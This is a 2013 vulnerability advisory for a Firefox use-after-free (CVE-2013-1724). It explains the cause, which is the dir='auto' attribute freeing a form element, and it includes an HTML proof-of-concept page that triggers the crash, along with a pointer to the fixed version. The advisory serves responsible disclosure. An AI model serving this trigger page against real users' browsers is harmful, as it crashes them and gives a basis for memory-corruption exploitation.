Vulnerability Advisory

Name	Mozilla Firefox 'HTMLFormElement' Use-After-Free Vulnerability
CVE	CVE-2013-1724
Vendor Website	http://www.mozilla.org/
Date Released	20/09/2013
Affected Software	Mozilla Firefox
Researchers	Scott Bell

Description

A use-after-free condition was identified in Mozilla Firefox when an HTMLSelectElement, which is a child of an HTMLFormElement is used after the HTMLFormElement has been destroyed. The destruction of the HTMLFormElement is caused by the 'dir=auto' attribute being set. This forces ancestor node directionality to be reset. mForm is freed by this operation when tearing down the DOM.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<body>
<q>
<form>
<fieldset>
<input>
<input>
</fieldset>
</form>
<p>
<div><span>
<img>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><map><map><map><map><map><map><map><map>
```

```
<map><map><map><map><map><map><map><map><map><map><map><map>
<map><map><map><area><area><area><area><area><area></map>
<hgroup>
<object>
<form dir="auto">
<keygen dir="auto">
</keygen>
</form>
<input>
<input>
</form>
<script>
function boom(){
location.reload()
}
setInterval('boom()', 2000)
</script>
</body>
</html>
```

Solution

A fix for this vulnerability was shipped in Mozilla Firefox and Thunderbird version 24. Security-Assessment.com recommends updating to the latest version provided by the vendor. For more information see:
http://www.mozilla.org/security/announce/2013/mfsa2013-81.html

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596